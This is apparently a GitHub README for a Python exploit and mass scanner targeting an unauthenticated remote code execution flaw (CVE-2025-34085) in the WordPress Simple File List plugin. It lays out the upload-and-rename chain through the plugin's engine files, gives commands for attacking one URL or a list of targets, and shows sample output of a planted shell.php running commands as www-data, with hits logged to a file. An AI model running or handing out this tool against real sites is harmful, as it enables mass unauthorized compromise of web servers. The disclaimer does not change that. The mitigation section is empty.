
WordPress Simple File List Unauthenticated RCE Exploit
An automated exploit and scanner for CVE-2025-34085, a critical vulnerability in the WordPress Simple File List plugin, enabling unauthenticated remote code execution through arbitrary file upload and rename functionalities.
Unauthenticated File Upload
/wp-content/plugins/simple-file-list/ee-upload-engine.phpRename to PHP Extension
.php or similar extension via:
/wp-content/plugins/simple-file-list/ee-file-engine.phpExecute Payload
python3 CVE-2025-34085.py -u http://target.com --cmd "id"
Put target URLs in targets.txt (one per line), then run:
python3 CVE-2025-34085.py --cmd "whoami"
| Argument | Description |
|---|---|
-u | Target URL (e.g., http://example.com) |
--cmd | Command to execute on the remote shell (default: id) |
--inline | Use inline payload (no ?cmd= parameter) |
[+] http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Successful targets are saved to vuln.txt.
CVE-2025-34085.py — Main exploit scripttargets.txt — (Optional) List of target domainsvuln.txt — Log of successful exploitsAdministrators should:
This project is intended for educational and authorized testing purposes only. The author bears no responsibility for misuse or damage caused by this tool.
This project is licensed under the MIT License. 📄 View Full License Text
0xgh057r3c0n 🔗 GitHub: github.com/0xgh057r3c0n